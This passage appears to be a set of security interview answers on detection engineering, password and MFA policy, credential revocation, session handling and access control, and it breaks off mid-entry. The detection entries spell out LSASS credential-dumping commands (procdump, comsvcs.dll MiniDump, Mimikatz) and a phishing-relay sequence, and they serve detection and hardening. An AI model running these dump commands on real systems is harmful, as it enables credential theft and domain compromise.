The failure mode I'd watch for is a blocking-only pipeline. Illustrative version: a feed of ~200,000 indicators pushed to the perimeter, zero detections produced, because the group had rotated its infrastructure before the feed shipped. The team felt covered and learned nothing. Two others: no retention, which makes retrospective search impossible; and behavioural detections written too broadly, which bury the real hits in alert noise.
Measure conversion, not consumption. Of the reports you took in this quarter, how many produced a tested detection or a verified control? Track time from report to detection. If conversion is near zero, the intake filter is wrong or the team has no capacity to act: buying another feed won't fix either.
Where indicators still earn their place: commodity malware and low-sophistication threats, where hash and IP blocking at the perimeter is cheap and effective. Don't over-engineer that.
The test I'd apply to any new feed: name the detection or control it will change in the next 30 days. If nobody can, it isn't intelligence yet.
Curated: · Written: · Reviewed:
Q&A-70A product claims to detect zero-day attacks. How do you assess that?
"Zero-day detection" is a claim about behavioural detection rather than signatures, so it is testable: just not by the vendor's demo. Three things decide it: which techniques it catches, at what false-positive cost, and what telemetry it needs. Measure all three in your own estate.
Why the lab number doesn't transfer: a demo runs a curated technique corpus against clean, fully-instrumented hosts. Your estate has partial agent coverage, a different OS and build mix, and a stream of legitimate admin behaviour that looks like the same techniques. Detection rate and false-positive rate are one number in two halves, the sensitivity dial trades one for the other, so a single point ("99% detection") is unfalsifiable. You want the curve.
Protocol:
- Pick 30–50 techniques from your threat model, mapped to ATT&CK, that you can execute safely in a canary environment. An open corpus such as Atomic Red Team saves you writing them.
- Run them with the product at its default setting, then at two or three higher sensitivity settings.
- For each setting, record techniques detected and alerts per day on production-like traffic.
- Ask which telemetry each detection consumed (process lineage, command line, network, cloud audit logs) and confirm you actually collect it.
Worked example, hypothetical figures for one mid-size estate:
| Environment | Techniques detected | False positives/day |
|---|---|---|
| vendor lab | 40 of 40 | 0 |
| your estate, default | 6 of 40 | 12 |
| your estate, sensitive | 22 of 40 | 200 |
The default setting is the one you would actually run, and it catches 15% of what you care about. The sensitive setting roughly triples detection and multiplies noise by about 16x: 200 alerts a day is close to one analyst's whole shift, so it gets tuned back down within a month. That gap between lab and estate is the assessment.
Failure modes worth naming:
- "Detected" means logged, not blocked. Ask whether the alert fires in-line or after the fact. A retro-hunt hit three days later is not detection if your incident timeline is measured in hours.
- Telemetry gaps. If the agent is not on the build servers or the OT segment, the technique is invisible there no matter how good the model is.
- OS mix. A Linux-heavy estate running a Windows-first product gets the lab number for the wrong population.
- Alert fatigue as the real failure. The sensitive setting's 200/day gets muted, and the product silently reverts to the default's 6 of 40.
Alternatives, and when not to use this: signature and known-bad detection is cheaper and near-zero false positive for what it covers, so keep it running alongside. A managed detection service outsources triage, not measurement: you still need the numbers. If your threat model is commodity ransomware and you have no analyst capacity, a behavioural product pushed to high sensitivity is worse than a well-run signature stack plus tested backups.
Until you have run the techniques yourself, the claim is a hypothesis, not a control.
Curated: · Written: · Reviewed:
Q&A-17How would you detect an attacker extracting credentials from memory?
The 90-second answer
Credential dumping is a memory read, so detect the read, not the tool. On Windows the target is lsass.exe and the signal is another process opening it with read access. Sysmon Event ID 10 (ProcessAccess) gives you SourceImage, TargetImage, GrantedAccess and CallTrace. Alert on TargetImage ending in lsass.exe where GrantedAccess has the PROCESS_VM_READ bit set (0x0010): the common masks are 0x1010 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) and 0x1410 (adds PROCESS_QUERY_LIMITED_INFORMATION). Match the bit, not the exact value; dumpers vary the mask.
Then make the read worthless. Credential Guard moves NTLM hashes and Kerberos TGTs out of LSASS into LsaIso.exe, and RunAsPPL=1 makes LSASS a protected process so a non-PPL caller gets ACCESS_DENIED on PROCESS_VM_READ at all. Neither stops a kernel driver.
Why tool-based detection fails
Mimikatz's sekurlsa::logonpasswords is the textbook case, but the same read is available from signed Microsoft binaries: procdump.exe -ma lsass.exe lsass.dmp, or rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass-pid> lsass.dmp full. Both are signed, so hash and signature rules miss them. A recompiled Mimikatz changes the hash and the strings; the access mask does not.
| Signal | Mimikatz | procdump -ma | comsvcs.dll MiniDump | recompiled Mimikatz |
|---|---|---|---|---|
| Sysmon 10, lsass read | fires | fires | fires | fires |
| file hash / signature | fires | misses (signed) | misses (signed) | misses |
| process name | fires | misses | misses | misses |
Sysmon 11, .dmp written | misses (no file) | fires | fires | misses |
Tuning
Sysmon 10 is high volume, so filter to TargetImage = lsass.exe first, then allowlist the known readers: MsMpEng.exe, csrss.exe, wininit.exe, services.exe, svchost.exe, taskmgr.exe, WerFault.exe, and your EDR agent. Anything else is a finding. Also read CallTrace: return addresses that aren't backed by an image on disk mean injected code, which is a stronger signal than the mask alone.
If Sysmon isn't deployed, object-access auditing gives you 4656/4663 for the process object, at the cost of far more noise.
Making the read useless
- Credential Guard: VBS plus HVCI, needs UEFI Secure Boot and VT-x/AMD-V. Secrets live in
LsaIso.exe. It does not protect against kernel-mode attackers or keyloggers. HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL= 1. LSASS becomes PPL and non-PPL callers can't getPROCESS_VM_READ. Needs a reboot; test against backup and EDR agents before rolling out.HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential= 0 (default since Windows 8.1 / Server 2012 R2). If it's 1, plaintext passwords sit in LSASS and a dump is worth far more. Alert on the value changing.
Linux
Same idea. Reading /proc/<pid>/mem requires a ptrace attach, so the syscall is the signal: auditd -a always,exit -F arch=b64 -S ptrace -k ptrace_attach, plus eBPF (Falco, Tetragon) for ptrace from unexpected parents. gcore and process_vm_readv are the tools; the syscall is what you alert on.
Validation
Run the technique with a recompiled Mimikatz and with comsvcs.dll MiniDump, and confirm the Sysmon 10 rule fires and the ASR rule "Block credential stealing from the local security authority subsystem (lsass.exe)" (GUID 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2) blocks. If the rule only fires on the stock binary, it's a hash rule in disguise.
Curated: · Written: · Reviewed:
Q&A-12What password policy would you set today?
Assumptions: a workforce application, SSO and MFA available, no legacy system forcing a fixed 8-character field, and a help desk that can verify identity out of band.
The policy I'd set: minimum 8 characters, SP 800-63B's floor for subscriber-chosen secrets, and 15 where the account has no second factor (that 15 is my own floor, not NIST's); no composition rules; no forced rotation; every set or changed password checked against a breached-password corpus; authentication rate-limited per account and per source IP.
That is the NIST SP 800-63B position, and the mechanism behind it is what you'll be asked to defend.
Rotation and composition rules shrink the effective search space instead of growing it. Users answer "upper, lower, digit, symbol, change every 90 days" with a predictable transformation, Summer2024! becomes Autumn2024!, so rule-based cracking masks (hashcat's best64, and the rules derived from real breach corpora) recover them at a fraction of brute-force cost. The policy's real output is reset tickets.
Breach-list checking attacks the actual entry vector. Credential stuffing replays username/password pairs from other breaches; if the password is already in a corpus, it is already in the attacker's wordlist, and no length or complexity rule you can enforce will save it. Checking at set time (and again at login, since corpora grow) removes those passwords before they exist in your directory. Have I Been Pwned's k-anonymity range API lets you do this without sending the password or its full hash off-host: you send the first five characters of the SHA-1 and match the returned suffixes locally.
Worked example, figures from one org's post-incident review (illustrative, not a benchmark):
| Control | Annual cost | Blocks credential stuffing |
|---|---|---|
| 90-day rotation | 340 support hours | no |
| Composition rules | 90 support hours | no |
| Breach-list check at set time | 8 engineering hours | yes |
The compromise in that review was credential stuffing against accounts whose passwords had appeared in an unrelated breach two years earlier. The rotation policy had been running the whole time and never touched it. That is the cost-versus-effect comparison in one line: 430 hours a year of friction bought nothing against the attack that actually landed, while 8 hours of integration would have blocked it at set time.
Failure modes to name, and how each is detected:
- MFA push fatigue. The attacker spams approvals until one is accepted. Detect via approvals-per-user rate; mitigate with number matching or FIDO2 rather than push.
- Help-desk reset as the bypass. Social engineering walks past any password policy. Require out-of-band identity proof and log every reset with the verifying agent's name.
- Hard lockout as a DoS. Anyone who knows usernames can lock the company out. Use exponential backoff and per-IP throttling instead of a permanent lock; SP 800-63B caps consecutive failed attempts on one account at 100 before throttling.
- Stale blocklist. A set-time-only check misses passwords that leak later. Re-check at successful login.
What I'd measure: support hours per 1,000 users, and the share of set passwords that appear in breach corpora. Not policy-compliance percentage: that number rises when the policy is annoying and tells you nothing about whether an attacker gets in.
What the interviewer is scoring
| Signal | Strong answer | Weak answer |
|---|---|---|
| Threat model | Names credential stuffing as the attack that lands | Talks about brute force only |
| Mechanism | Explains why rotation and composition backfire | Recites the rules as a checklist |
| The control that matters | Breach-corpus check at set time and login, with a privacy-preserving implementation | "Use a strong password" |
| Failure modes | MFA fatigue, help-desk reset, lockout DoS, stale blocklist | Treats MFA as the end of the story |
| Metrics | Attacker success and support load | Policy-compliance percentage |
Key points to hit: state the assumptions that decide the answer (MFA available or not, legacy constraints); give the policy in one breath; defend it by mechanism, not by appeal to authority; name the implementation detail that makes breach checking deployable; and close on measurement.
Weak-answer patterns
- The 2005 answer: 8 characters, upper + lower + digit + symbol, rotate every 90 days. It is the thing being tested for.
- "NIST says drop complexity" with no mechanism and no mention of the breach-corpus requirement that replaced it.
- Treating MFA as a complete answer to password policy: it changes the length floor, it does not remove the need for the check.
- Proposing a password manager as the policy. It is a tool; the policy still has to say what the directory accepts.
- "Just use SSO" without addressing the accounts that cannot: service accounts, the one appliance with a local admin, break-glass credentials.
- Confusing length with entropy, or quoting a character count as if it settled the question.
Follow-up questions to expect
- How do you check a password against a breach corpus without shipping it to a third party? k-anonymity range API: five-character SHA-1 prefix out, suffix list back, match locally.
- An attacker has your username list. How do you stop them locking out the company? Exponential backoff and per-IP throttling, never a permanent lock.
- What about the service accounts and the legacy app that can't do SSO? Longer generated secrets, stored in a vault, rotated on a schedule tied to staff changes rather than the calendar.
- How do you migrate 40,000 users off 90-day rotation without a reset spike? Drop the expiry first, keep the breach check, and let natural password changes drain the old ones.
- How would you know the policy is working? Support hours per 1,000 users, and the share of set passwords found in breach corpora.
Curated: · Written: · Reviewed:
Q&A-13Which second factor would you deploy for a workforce, and why not the others?
Deploy origin-bound WebAuthn credentials, passkeys or FIDO2 security keys, as the second factor, hardware keys with attestation for admin tiers, and delete the phishable fallbacks rather than leaving them as recovery paths. Everything else on the menu is a factor the user can be talked into completing for someone else's session.
Why the others lose
| Factor | Stops password reuse | Stops bulk phishing | Stops push-fatigue bombing | Stops real-time relay (AiTM) |
|---|---|---|---|---|
| Password only | no | no | — | no |
| SMS / email / TOTP code | yes | yes | — | no |
| Push, no number | yes | yes | no | no |
| Push with number matching | yes | yes | yes | no |
| Origin-bound passkey or security key | yes | yes | — | yes |
One-time codes and push both stop bulk credential reuse and bulk phishing, and both fall to a real-time relay. Number matching is worth having if you are stuck on push (it kills push bombing, where an attacker spams approvals until one is tapped) but it is not a relay defense: the attacker displays the number the IdP sent and the victim types it into the proxy.
Why origin binding is the difference
WebAuthn signs an assertion over the RP ID hash and includes the caller's origin in clientDataJSON; the relying party verifies both. The private key never leaves the authenticator, and the authenticator will not produce an assertion for an origin it was not registered against.
A relay, step by step:
- Attacker stands up
login-contoso[.]comand reverse-proxies the real IdP. - Victim lands on the attacker's origin; the proxy serves the real login page.
- Victim submits the password; the proxy forwards it and the IdP issues an MFA challenge.
- Push or code: the proxy relays the challenge to the victim and the response back. The attacker's session is now authenticated.
- Passkey: the challenge requires an assertion for
contoso.com. The victim's browser is onlogin-contoso[.]com, so the credential is not offered and no assertion is produced. The attacker holds no private key, so they cannot produce one either. The relay dies here.
Failure modes and detection
The failure to design against is the one where the login is recorded as MFA-satisfied and nobody looks further: an admin approves a push during a relay, the sign-in log shows a compliant MFA event, and the attacker holds a valid session. In a worked example, six hours of mailbox access before anyone noticed. Detect it by correlating a successful MFA event with what happens in the next few minutes: new ASN or device fingerprint, mailbox rule creation, OAuth consent grant, or a new MFA method registered. Session-cookie replay from a different IP or user agent is the same signal.
Trade-offs
Passkeys cost enrollment and a recovery design; hardware keys cost money and need a spare per admin. Synced platform passkeys are origin-bound and resist relay, but they are not hardware-bound: for privileged tiers require a hardware key with attestation and a PIN. Systems that cannot speak WebAuthn (RDP, some VPN concentrators, mainframe green screens) can use certificate-based auth, which is bound to the TLS channel and also resists relay, or sit behind a WebAuthn-gated jump host. Do not keep SMS as the fallback: an attacker who cannot beat the passkey will click "try another way."
A control is as strong as the weakest factor you still permit.
Curated: · Written: · Reviewed:
Q&A-15Why should a domain administrator never log into a workstation?
The short answer. A workstation is the least trustworthy machine in the estate, and a domain admin credential is the most valuable thing in it. The moment a domain admin logs into a workstation, that workstation holds credential material that can reach every domain controller. Anyone who compromises the workstation, and workstations get compromised by phishing, unpatched browsers, and local privilege escalation far more often than servers do: inherits domain admin. The tiering you built is inverted by a single logon.
How the credential actually leaks. On Windows, an interactive logon (type 2) or RDP logon (type 10) by a domain account causes LSASS to cache material for that logon session:
- The NT hash of the password, which enables pass-the-hash.
- The Kerberos TGT, which enables pass-the-ticket and overpass-the-hash.
- If the account is a domain account, the workstation also stores a cached verifier (MSCache/DCC2) for offline cracking: Windows caches the last 10 interactive logons by default (
CachedLogonsCount).
Mimikatz's sekurlsa::logonpasswords reads the first two straight out of LSASS memory. Credential Guard (VBS, Windows 10/11 Enterprise and Server 2016+) moves those secrets into an isolated process and blocks the read, but it is not on by default and does not cover every logon type, so you cannot assume it.
What the attack looks like. Attacker phishes a helpdesk user, gets a foothold, escalates to local admin on that workstation. A domain admin had RDP'd in earlier that day to fix a printer. The attacker dumps LSASS, gets the NT hash and TGT, and authenticates to a DC. Time from foothold to domain admin: minutes, not days.
Exposure by where the account is used:
| Account | Logs into workstations | Reachable if stolen |
|---|---|---|
| helpdesk | yes | helpdesk queue, some file shares |
| server admin | no | member servers only |
| domain admin | blocked at the identity layer | every DC and every host |
What to do instead, and what it costs. Block tier-0 accounts from authenticating to lower tiers at the identity layer: authentication policy silos and user rights (Deny log on locally, Deny log on through Remote Desktop) enforced by GPO, not by asking people nicely. Give admins a Privileged Access Workstation: a hardened device that only does admin work, no email, no browsing. That costs real money and friction: a second device per admin, separate patching, and admins who cannot just RDP from their daily laptop. For small environments the cost may exceed the risk; that is a documented risk acceptance, not a design. Alternatives that reduce the need: separate admin accounts per tier, just-in-time elevation, and jump hosts.
Failure modes and detection. The failure is silent: nothing breaks when a domain admin logs into a workstation. Detect it after the fact: 4624 with logon type 2 or 10 for a tier-0 account on a non-tier-0 host, 4672 for special privileges, and Sysmon Event ID 10 (ProcessAccess) on lsass.exe with GrantedAccess 0x1010 or 0x1410. Verify the control by attempting a tier-0 logon to a workstation and confirming the identity layer refuses it.
Curated: · Written: · Reviewed:
Q&A-16Where do service account credentials usually leak from?
Core answer, first 90 seconds
Assume the usual estate: service accounts with long-lived passwords or keys, deployed by config management across a fleet of hosts. Under that assumption, credentials leak from four surfaces, roughly in the order they show up in incident reviews:
- Source control and CI/CD configuration: hardcoded in a config file, a committed
.env, or a pipeline variable that gets echoed into a build log. - Host filesystem and environment:
/etc/app/config.yaml,web.config,.pgpass, keytabs, systemd unit files, environment variables. - Process memory: LSASS on Windows,
/proc/<pid>/environand/proc/<pid>/cmdlineon Linux. - Human and backup channels: tickets, chat, wikis, and the backups and VM snapshots of everything above.
The common thread: the credential is stored in plaintext somewhere that gets copied, and the copies outlive rotation.
| Leak surface | How the credential gets there | Where you find it |
|---|---|---|
| Git repo / history | hardcoded in config, .env committed, then "removed" in a later commit | git log -p --all -S '<pattern>', gitleaks, trufflehog |
| CI/CD | secret passed as a CLI argument or echoed by a debug step | job logs, ps aux, /proc/<pid>/cmdline on the runner |
| Host config | config file, keytab, unit file, env var | file scans, host backups |
| Process memory | service process holds the plaintext after auth | LSASS dump (Windows), /proc/<pid>/environ (Linux) |
| Backups / snapshots / tickets | DB dumps, VM images, pasted into a ticket | object storage, ticketing system |
Why rotation alone doesn't close it
Deleting a secret in a new commit leaves it in git history; anyone who cloned the repo before the fix still has it. A credential baked into a container image layer survives in every registry copy. A DB dump in object storage keeps the password that was valid when the dump was taken. So the fix is to remove the stored secret, not just to change it: managed identities or short-lived tokens where the platform offers them, a secrets manager with per-service scoping where it doesn't.
One leak path, traced
A pipeline step passes the secret as an argument:
# .gitlab-ci.yml
deploy:
script:
- ./deploy.sh --db-pass "$DB_PASSWORD"
- The runner injects
DB_PASSWORDinto the job environment. - The shell expands it into
argvfordeploy.sh. - For the lifetime of that process, the plaintext password is readable from
/proc/<pid>/cmdlineby any user on the runner. - If the runner is shared, or the host is compromised later, the credential is recoverable without touching the secret store.
Masking the variable in the log does not help here: the exposure is the process table, not the log line.
Detection and failure modes
- Canary credentials. Plant a service account credential in a repo or wiki that no real service uses, and alert on any authentication with it. This catches the leak at use time rather than at scan time.
- Unexpected source. Alert when a service account authenticates from an IP or host outside its known set: that is the signal that a copy is in use elsewhere.
- LSASS access. On Windows, service accounts running as services hold credentials in LSASS; Sysmon Event ID 10 (ProcessAccess) targeting
lsass.exeis the detection. - The failure mode to name: rotating on a schedule you have never exercised, while copies sit in git history and backups. Rotation that doesn't enumerate every copy just resets the clock.
Curated: · Written: · Reviewed:
Q&A-10An attacker has valid credentials. What do you have to invalidate?
Everything the identity can authenticate with, not just the password. A password reset closes one door. The attacker holds a set of credentials with independent lifetimes, and several are designed to survive a password change.
The classes, and what actually revokes each:
| Credential | Where it lives | Revocation | Survives password reset |
|---|---|---|---|
| Password | IdP store (Argon2/bcrypt hash) | set a new one | — |
| Session cookie | server-side store (Redis) or signed cookie | delete the session record / bump a session epoch | yes, if the store isn't cleared |
| OIDC refresh token | IdP | RFC 7009 POST /revoke; Okta DELETE /api/v1/users/{userId}/sessions | yes |
| OAuth access token (JWT) | client | not revocable: expires in ~1 h | yes, until expiry |
| Third-party OAuth grant | IdP consent store | revoke the app's consent | yes |
| MFA factor | IdP | delete the factor, then reset the password | yes |
| API key / PAT | app DB | delete the key row | yes |
| AWS IAM access key | AWS | update-access-key --status Inactive, then delete | yes |
| AWS STS session | nowhere | not revocable; deny on aws:TokenIssueTime | yes, until expiry (1–12 h) |
| Kerberos TGT | KDC | reset krbtgt twice, >10 h apart | yes |
| DB password | DB | ALTER USER and kill open connections | yes, connections persist |
| SSH key | authorized_keys | remove it, and audit for keys the attacker added | yes |
The mechanism behind the split: stateful credentials have a record you can delete. A session row, a refresh token, an API key. Revocation is immediate. Stateless credentials have no record: a JWT, an STS session, a Kerberos ticket is verified by signature and expiry alone. You cannot un-issue them. You either wait out the TTL or add a deny rule keyed on issue time. Access tokens are typically 1 h (Okta and Entra ID both default to 1 h); refresh tokens run days to months.
AWS is the clean example of the deny-rule approach:
aws iam put-user-policy --user-name alice \
--policy-name AWSRevokeOlderSessions --policy-document '{
"Version":"2012-10-17",
"Statement":[{"Effect":"Deny","Action":"*","Resource":"*",
"Condition":{"DateLessThan":
{"aws:TokenIssueTime":"2024-06-01T00:00:00Z"}}}]}'
Every request made with a session token issued before that timestamp is denied, without waiting for the 1-hour default to lapse.
Failure modes I'd check for, in order:
- MFA re-enrollment. Reset the password first and the attacker logs in and enrolls their own factor. Delete unknown factors before the reset, not after.
- OAuth grants. A malicious app granted
Mail.Readkeeps reading mail after the password change. Only revoking the grant stops it. Entra ID'sPOST /users/{id}/invalidateAllRefreshTokenskills tokens but not the grant. - Kerberos. One
krbtgtreset leaves the attacker's TGT valid for the rest of its lifetime: default max 10 h, 7-day renewal. Reset twice, more than 10 h apart. - Open DB connections.
ALTER USER alice WITH PASSWORD 'new'does not terminate the attacker's pooled connection:SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE usename='alice'; - Non-human credentials. The human's password reset does nothing to the service account key they could read, the CI secret, or the deploy key.
Verify by use, not by assumption: replay each old credential and confirm it fails. For stateless ones, confirm the deny rule rejects a token issued before the cutoff.
Curated: · Written: · Reviewed:
Q&A-57How do you generate a session token safely?
Assume a web app with server-side sessions and the token delivered in a cookie. The answer: pull the token from the OS CSPRNG, give it at least 128 bits of entropy, store it server-side, and treat it as an opaque handle. Everything else is detail around that.
The token has to be unpredictable to someone who already holds other tokens. That is a property of the source, not of the output: a string that looks random can still be the next value of a seeded generator. General-purpose PRNGs are deterministic finite-state machines: the output is a function of a small seed, so observing enough outputs recovers the state and predicts the rest. glibc's rand() is a 31-bit LCG; two outputs pin it. java.util.Random is a 48-bit LCG; two consecutive nextInt() values recover the seed. Mersenne Twister has 19937 bits of state but emits 32-bit words, so 624 consecutive outputs reconstruct it. Time-seeding is worse: the seed is milliseconds since epoch, roughly 2^32 candidates, so you enumerate seeds until the observed tokens match.
import secrets
token = secrets.token_urlsafe(32) # 32 bytes = 256 bits -> 43 chars
const crypto = require('crypto');
const token = crypto.randomBytes(32).toString('base64url'); // 43 chars
Java: byte[] b = new byte[32]; new SecureRandom().nextBytes(b);. Go: crypto/rand.Read. Ruby: SecureRandom.urlsafe_base64(32). Node's crypto.randomUUID() is fine but carries 122 random bits, not 128.
| Source | State / seed space | Outputs to recover state |
|---|---|---|
glibc rand() | 31-bit LCG | 2 |
java.util.Random | 48-bit LCG | 2 |
| Mersenne Twister | 19937 bits | 624 × 32-bit |
| time-seeded anything | ~2^32 seeds | brute-force |
getrandom() / /dev/urandom | — | infeasible |
128 bits is the practical floor; 256 costs nothing (43 chars in a cookie). OWASP's session cheat sheet sets the minimum at 64 bits, which is thin for a long-lived token.
The real trade-off is opaque random token versus signed stateless token. An opaque token needs a store lookup per request: a Redis round trip, ~0.5 ms on a local instance, but revocation is a delete, effective immediately. A signed token (HMAC over user id and expiry) skips the lookup and scales without shared state, but it is not random at all: its security rests on the HMAC key, and revocation needs a denylist that reintroduces the lookup you removed. Pick opaque when you need instant revocation and can afford the store; pick signed when the store is the bottleneck and revocation can lag. For sessions, opaque plus a store is the default.
Failure modes, with how you catch them:
- Token in a URL or query string. It leaks through the Referer header, browser history, and proxy and access logs. Detection: grep access logs for token-shaped parameters; alert on any hit.
- No expiry or no rotation. A stolen token stays valid forever. Detection: audit token TTLs and assert rotation on login and on privilege change.
- Cookie without
HttpOnly,Secure,SameSite. XSS reads it viadocument.cookie. Detection: parseSet-Cookiein CI and fail on missing flags. - Non-constant-time comparison.
==on the token leaks a timing oracle. Usehmac.compare_digestor equivalent. - Session fixation: the token is not regenerated at login, so an attacker who planted one keeps the session.
Confirm the call site by inspection: output appearance tells you nothing about the source.
Curated: · Written: · Reviewed:
Q&A-58What has to happen when a user logs out?
The short answer: logout has to invalidate the session on the server. Clearing the cookie is a request to a cooperating client, not a security control: a session that is still valid after logout is usable by anyone who captured the identifier.
Concretely, a logout handler should:
- Delete the server-side session record (or bump a token version / add the token's
jtito a revocation list). - Clear the cookie with attributes that match how it was set (same
Path,Domain,Secure,HttpOnly,SameSite) otherwise the browser keeps a cookie the server thinks it removed. - Rotate the session identifier on login and on any privilege change, so a pre-login identifier can't be promoted to an authenticated one (fixation).
- Invalidate the CSRF token bound to that session, and protect the logout endpoint itself against CSRF: otherwise a third-party page can force-logout your users.
- On password change or "log out everywhere", invalidate all sessions for the user, not just the current one.
- Revoke refresh tokens and any downstream tokens the session minted (OAuth access tokens, SSO session at the IdP). A logout that leaves a valid refresh token is a logout that lasts until the next refresh.
The trade-off you have to name. Server-side invalidation costs you a lookup on every authenticated request. With opaque session IDs in Redis that's one round trip per request: sub-millisecond on the same host, but a hop you now owe on the hot path, plus a store that becomes a hard dependency: if it's down, every logged-in user is logged out.
The stateless alternative, a signed JWT the server verifies without a lookup, removes that hop and that dependency, and pays for it at logout. A JWT is valid until it expires; the server has no record to delete. You get revocation back only by reintroducing state: a denylist keyed by jti, which is the lookup you were avoiding, plus entries that must be retained until each token's exp. The usual compromise is a short access-token TTL (5–15 minutes) so the exposure window after logout is bounded, with refresh tokens held server-side and revoked explicitly.
| Approach | Revocation latency | Per-request cost |
|---|---|---|
| Opaque session ID + store | immediate | one store lookup |
| JWT, no denylist | none until exp | none |
JWT + jti denylist | immediate | lookup + retained entries |
Failure modes and how you'd catch them. The classic one: logout clears the cookie and leaves the session record alive for its remaining lifetime, so a session captured earlier keeps working long after the user believes they left. The other is partial logout: the browser session dies but the refresh token survives, and the next silent refresh resurrects access. Both are found the same way: capture a session identifier, log out, replay the identifier, and assert a 401. Do that for the cookie, the access token, and the refresh token separately, because they fail independently.
A logout request, traced:
POST /logout Cookie: sid=abc123; X-CSRF-Token: t-9f2
-> CSRF token matches session abc123
-> DEL session:abc123
-> Set-Cookie: sid=; Max-Age=0; Path=/; Secure; HttpOnly; SameSite=Lax
-> 204
GET /account Cookie: sid=abc123
-> session:abc123 miss
-> 401
If that second request returns 200, the logout did not happen: the cookie was cleared, which is a different thing.
Curated: · Written: · Reviewed:
Q&A-80A permission cache speeds up authorisation. What have you traded?
The trade is revocation latency for authorisation latency. A cached decision is a promise that the answer is still true; the TTL is how long you are willing to be wrong. So the TTL is not a performance knob you tune last: it is the revocation SLA, and it should be written down as one.
Mechanism
An authorisation check is a read: subject attributes, resource, action, context, policy. Caching stores the decision keyed by those inputs and skips the evaluation. The entry stays readable until it expires or is invalidated, so any change to the inputs (a revoked role, a closed project, a downgraded plan) is invisible until then. That window is the whole cost.
What you actually give up
| Design | Revocation delay | Notes |
|---|---|---|
| 15-minute TTL, no invalidation | up to 15 min | Offboarding claims "immediate" and is wrong |
| 30-second TTL | up to 30 s | Bounded, still a window |
| Versioned key, bumped on change | one cache round trip | Old entries unreachable at once, age out by TTL |
| No cache | 0 | You pay the policy evaluation on every check |
Versioned keys are the usual answer: bump a per-subject version on any permission change, and every old key becomes unreachable without a scan.
# Python 3.12 — decision cache keyed by subject version
def decision_key(subject_id, version, resource, action, ctx_hash):
return f"authz:{subject_id}:{version}:{resource}:{action}:{ctx_hash}"
def on_permission_change(subject_id):
redis.incr(f"authz:ver:{subject_id}") # old keys unreachable; TTL reclaims them
Trace it: a check reads authz:ver:u42 → 7, builds the key with 7, hits. A revocation runs incr → 8. The next check builds a key with 8, misses, re-evaluates, and writes a fresh decision. The old entry is still in memory but nothing reads it, so the revocation delay is one round trip, not the TTL. The TTL now only bounds garbage, not correctness.
Failure modes
- Context left out of the key. If the key omits IP, MFA state, or time-of-day, a decision made in one context is served in another. This is the bug that turns a cache into a privilege escalation, and it is invisible in latency graphs.
- Negative caching. Caching a deny delays a grant just as caching an allow delays a revocation. Both directions need the same invalidation.
- In-process version caching. If the version read is itself cached locally for 60 s, you have reintroduced a 60 s revocation delay and hidden it one layer down.
- Lost invalidation. With pub/sub invalidation, a dropped message means stale until TTL. Versioned keys avoid this because the version is read on the same path as the decision.
- Flush storms. Invalidating a shared key (a role, a tenant) at once sends every request to the policy engine together. Version the key instead of deleting it.
Verify it, don't assume it
Revoke a permission and poll the authorisation endpoint until it denies; record the elapsed time. Do it for a single subject and for a role change affecting many. That number is your real revocation delay: compare it to what the offboarding runbook claims. Alert on invalidation lag and on cache hit rate dropping, since both move before anyone notices a stale allow.
Illustrative: if a policy evaluation costs ~3 ms and a cache hit ~0.3 ms, at 5,000 checks/s you are choosing between roughly 15 s and 1.5 s of CPU per second of traffic. That is the latency you bought, and the TTL is the price.
Curated: · Written: · Reviewed:
Q&A-94What does it mean in practice to say identity is the perimeter?
What I'd say first
"Identity is the perimeter" means the trust boundary moved from the network edge to the access decision. Instead of "inside the VPN is trusted, outside is not," every request is authorised on the authenticated principal, the device's posture, and the request context: evaluated by a policy engine at the resource, not at a chokepoint the traffic happens to pass through.
Two assumptions make that true, and I'd check both before repeating the slogan. First, that the resources are reachable without a network path that itself implies trust, if a service is only reachable from inside a VPC, the network is still doing authorisation work. Second, that the identity system can actually see device and context signals; without them, "identity" collapses to a password plus a token, which is a weaker perimeter than the firewall it replaced.
What changes operationally
The perimeter becomes the set of trust relationships and policy: federation trusts, OIDC clients, role assignments, conditional-access rules, service-account keys. Those are now the things an attacker edits to get in, and the things you must diff and alert on.
A worked access decision, the way a policy engine evaluates it:
- Request arrives with an OIDC access token → validate signature, issuer, audience, expiry.
- Resolve subject → group and role membership from the IdP.
- Evaluate device posture claim (managed, disk encrypted, patch level) → fail if absent and policy requires it.
- Evaluate context (source ASN, geo, time, risk score) → step-up MFA or deny.
- Issue a short-lived, audience-scoped token for the resource.
Steps 2–4 are the perimeter. Step 1 is just the door.
Trade-offs, and when identity-first is the wrong call
- East-west service traffic: mTLS with workload identity plus network policy is usually cheaper and lower-latency than per-request token introspection at every hop. Identity-first there means an extra network round trip per call.
- Air-gapped or OT networks: no IdP is reachable, so network segmentation remains the control.
- Legacy protocols (SMB, some database wire protocols) that can't carry modern auth: you end up with a gateway that terminates identity and re-originates, which is a new perimeter you must secure.
- Availability: if every access decision depends on the IdP, the IdP's availability becomes the blast radius. Break-glass and cached-policy paths are mandatory, not optional.
Failure modes and how you'd detect them
| Failure | What it looks like | Detection |
|---|---|---|
| Token theft or session hijack | Valid token replayed from a new ASN, no MFA prompt | Refresh-token reuse from a second IP; impossible-travel on the token, not the login |
| IdP config change | New federation trust, or a conditional-access policy disabled | Diff the IdP admin audit log against config-as-code; alert on any trust or policy write |
| Over-broad policy | Break-glass account exempt from every control | Periodic report of principals that bypass each policy |
| IdP outage | Nobody can authenticate to anything | Synthetic login probe from outside the corporate network |
The config-change row is the one teams miss. A firewall rule change usually gets reviewed; a new SAML trust in the IdP often does not, and it grants standing access to whoever holds the signing key.
How I'd validate the claim
Take the last 30 days of IdP admin audit events, list every write to a trust, client, or policy object, and check each one produced a ticket or an alert to a human. If the answer is "we'd see it in the logs," identity is not yet the perimeter: it's a perimeter you're not watching.
Curated: · Written: · Reviewed:
Q&A-95How do you design conditional access without locking everyone out?
Assume Microsoft Entra ID Conditional Access, a tenant with a workforce and admins, and no emergency accounts yet. The design rule is: every policy must be escapable by a human who is not subject to it, and that escape path must be verified by a test, not by reading the portal.
Three things, in order.
- Two cloud-only break-glass accounts with permanent Global Administrator, excluded from every Conditional Access policy, credentials split and stored offline, and an alert on any sign-in.
- Every new policy starts in report-only (
